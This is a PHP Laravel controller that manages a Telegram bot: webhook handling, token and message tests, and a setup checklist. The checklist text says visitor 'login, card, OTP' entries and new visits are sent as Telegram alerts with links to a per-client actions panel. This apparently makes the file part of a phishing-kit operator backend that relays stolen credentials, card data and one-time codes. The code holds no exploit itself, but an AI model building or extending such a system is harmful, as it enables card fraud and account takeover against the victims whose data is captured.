<?php

namespace App\Http\Controllers;

use App\Helpers\UrlHelper;
use App\Models\Settings;
use Illuminate\Http\Request;
use Illuminate\Http\JsonResponse;
use App\Services\TelegramService;
use Illuminate\Support\Facades\Log;

class TelegramController extends Controller
{
    private TelegramService $telegramService;

    public function __construct(TelegramService $telegramService)
    {
        $this->telegramService = $telegramService;
    }
        /**
     * Handle incoming Telegram webhook updates.
     *
     * @param \Illuminate\Http\Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function handle(Request $request)
    {
        // Log that the webhook endpoint was hit
        //Log::info('🔵 Telegram Webhook Endpoint Hit - Method: ' . $request->method() . ' | URL: ' . $request->fullUrl());
        
        $update = $request->all();
        //Log::info('Telegram Webhook Update: ' . json_encode($update));

        try {
            // Handle callback_query
            if (isset($update['callback_query'])) {
                $callbackQuery = $update['callback_query'];

                $callbackData = $callbackQuery['data'] ?? '';
                $parts = explode(':', $callbackData);

                if (count($parts) >= 2) {
                    // Call service to handle the callback (remove button and notify)
                    $this->telegramService->handleCallbackAndNotify($callbackQuery);
                }
            }

        } catch (\Exception $e) {
            Log::error('Telegram Webhook Error: ' . $e->getMessage());
            return response()->json(['status' => 'error', 'message' => $e->getMessage()], 500);
        }

        return response()->json(['status' => 'ok']);
    }

    /**
     * Panel setup metadata: webhook preview URL, environment checklist.
     */
    public function setupMeta(): JsonResponse
    {
        $settings = Settings::first();
        $hasToken = filled($settings?->bot_token);
        $frontendBase = UrlHelper::getFrontendBaseUrl();
        $panelBaseSource = UrlHelper::getPanelBaseUrlSource();

        $sourceHints = [
            'ngrok' => 'Panel links use your ngrok URL (local dev).',
            'request' => 'Panel links use the live hosting URL from the current request.',
            'app_url' => 'Panel links use APP_URL from .env.',
            'frontend_url' => 'Panel links use FRONTEND_URL (local Vite port).',
        ];

        $checklist = [
            [
                'key' => 'frontend_https',
                'label' => 'Panel button URL uses HTTPS',
                'ok' => str_starts_with($frontendBase, 'https://'),
                'hint' => $sourceHints[$panelBaseSource] ?? 'Configure FRONTEND_URL or deploy with HTTPS.',
            ],
            [
                'key' => 'token',
                'label' => 'Bot token saved',
                'ok' => $hasToken,
                'hint' => 'Create a bot with @BotFather and paste the token below.',
            ],
            [
                'key' => 'main_chat',
                'label' => 'Main chat ID (form alerts)',
                'ok' => filled($settings?->chat_id),
                'hint' => 'Alerts for login, card, OTP, etc. include an Open panel button.',
            ],
            [
                'key' => 'info_chat',
                'label' => 'Info chat ID (visits)',
                'ok' => filled($settings?->chat_id_info),
                'hint' => 'New visit notifications with a link to the panel.',
            ],
        ];

        return response()->json([
            'success' => true,
            'data' => [
                'mode' => 'panel_link_only',
                'frontend_base_url' => $frontendBase,
                'panel_base_source' => $panelBaseSource,
                'detected_base_url' => UrlHelper::getPublicBaseUrl(),
                'panel_actions_path' => '/panel/actions/{client_id}',
                'panel_actions_example' => UrlHelper::getPanelActionsUrl('example-client-id'),
                'has_bot_token' => $hasToken,
                'checklist' => $checklist,
            ],
        ]);
    }

    /**
     * Register webhook without changing other settings.
     */
    public function registerWebhook(Request $request, TelegramService $telegramService): JsonResponse
    {
        $validated = $request->validate([
            'bot_token' => ['required', 'string'],
        ]);

        try {
            $botInfo = $telegramService->getBotInfo($validated['bot_token']);
            if (!$botInfo) {
                return response()->json([
                    'success' => false,
                    'message' => 'Invalid bot token. Check the token from @BotFather.',
                    'webhook_status' => 'error',
                ], 422);
            }

            $registered = $telegramService->setWebhook($validated['bot_token']);
            $webhookInfo = $telegramService->getWebhookInfo($validated['bot_token']);

            if ($registered && !empty($webhookInfo['url'])) {
                return response()->json([
                    'success' => true,
                    'message' => 'Webhook registered successfully.',
                    'webhook_status' => 'success',
                    'bot_info' => $botInfo,
                    'webhook_info' => $webhookInfo,
                ]);
            }

            $errorDetail = $webhookInfo['last_error_message'] ?? null;

            return response()->json([
                'success' => false,
                'message' => $errorDetail
                    ? 'Webhook registration failed: ' . $errorDetail
                    : 'Webhook registration failed. Check HTTPS URL and server reachability.',
                'webhook_status' => 'warning',
                'bot_info' => $botInfo,
                'webhook_info' => $webhookInfo,
            ], 422);
        } catch (\Exception $e) {
            return response()->json([
                'success' => false,
                'message' => 'Webhook registration error: ' . $e->getMessage(),
                'webhook_status' => 'error',
            ], 500);
        }
    }

    /**
     * Test Telegram bot token
     */
    public function test(Request $request, TelegramService $telegramService): JsonResponse
    {
        $validated = $request->validate([
            'bot_token' => ['required', 'string']
        ]);

        try {
            // Test bot token
            if ($telegramService->testBot($validated['bot_token'])) {
                // Get bot info for additional details
                $botInfo = $telegramService->getBotInfo($validated['bot_token']);
                
                $message = '✅ Bot connection successful!';
                $responseData = [
                    'success' => true,
                    'message' => $message,
                    'bot_info' => $botInfo
                ];
                
                if ($botInfo) {
                    $message .= "\n🤖 Bot: " . ($botInfo['first_name'] ?? 'Unknown');
                    if (!empty($botInfo['username'])) {
                        $message .= " (@" . $botInfo['username'] . ")";
                    }
                    $message .= "\n🆔 Bot ID: " . ($botInfo['id'] ?? 'Unknown');
                    $responseData['message'] = $message;
                }
                
                return response()->json($responseData);
            } else {
                return response()->json([
                    'success' => false,
                    'message' => '❌ Bot connection failed. Please check your bot token.'
                ], 422);
            }
        } catch (\Exception $e) {
            return response()->json([
                'success' => false,
                'message' => '⚠️ Connection test error: ' . $e->getMessage()
            ], 500);
        }
    }

    /**
     * Send test message
     */
    public function testMessage(Request $request, TelegramService $telegramService): JsonResponse
    {
        $validated = $request->validate([
            'bot_token' => ['required', 'string'],
            'chat_id' => ['required', 'string'],
            'message' => ['nullable', 'string', 'max:1000']
        ]);

        try {
            $testMessage = $validated['message'] ?? '🧪 Test message from your Telegram bot settings!';
            
            if ($telegramService->sendTestMessage($validated['bot_token'], $validated['chat_id'], $testMessage)) {
                return response()->json([
                    'success' => true,
                    'message' => '✅ Test message sent successfully to chat ID: ' . $validated['chat_id']
                ]);
            } else {
                return response()->json([
                    'success' => false,
                    'message' => '❌ Failed to send test message. Please check your bot token and chat ID.'
                ], 422);
            }
        } catch (\Exception $e) {
            return response()->json([
                'success' => false,
                'message' => '⚠️ Test message error: ' . $e->getMessage()
            ], 500);
        }
    }

    /**
     * Get webhook info
     */
    public function webhookInfo(Request $request, TelegramService $telegramService): JsonResponse
    {
        $validated = $request->validate([
            'bot_token' => ['required', 'string']
        ]);

        try {
            $webhookInfo = $telegramService->getWebhookInfo($validated['bot_token']);
            
            if ($webhookInfo !== false) {
                $message = '📡 Webhook Status:';
                $message .= "\n🔗 URL: " . ($webhookInfo['url'] ?: 'Not set');
                $message .= "\n📬 Pending updates: " . ($webhookInfo['pending_update_count'] ?? 0);
                $message .= "\n📅 Last error: " . ($webhookInfo['last_error_date'] ? date('Y-m-d H:i:s', $webhookInfo['last_error_date']) : 'None');
                
                return response()->json([
                    'success' => true,
                    'message' => $message,
                    'webhook_info' => $webhookInfo
                ]);
            } else {
                return response()->json([
                    'success' => false,
                    'message' => '❌ Failed to get webhook information.'
                ], 422);
            }
        } catch (\Exception $e) {
            return response()->json([
                'success' => false,
                'message' => '⚠️ Webhook info error: ' . $e->getMessage()
            ], 500);
        }
    }

    /**
     * Reset webhook - removes the current webhook URL
     */
    public function resetWebhook(Request $request, TelegramService $telegramService): JsonResponse
    {
        $validated = $request->validate([
            'bot_token' => ['required', 'string']
        ]);

        try {
            if ($telegramService->removeWebhook($validated['bot_token'])) {
                return response()->json([
                    'success' => true,
                    'message' => '🔄 Webhook reset successfully! The webhook URL has been removed from your bot.'
                ]);
            } else {
                return response()->json([
                    'success' => false,
                    'message' => '❌ Failed to reset webhook. Please check your bot token.'
                ], 422);
            }
        } catch (\Exception $e) {
            return response()->json([
                'success' => false,
                'message' => '⚠️ Webhook reset error: ' . $e->getMessage()
            ], 500);
        }
    }
}
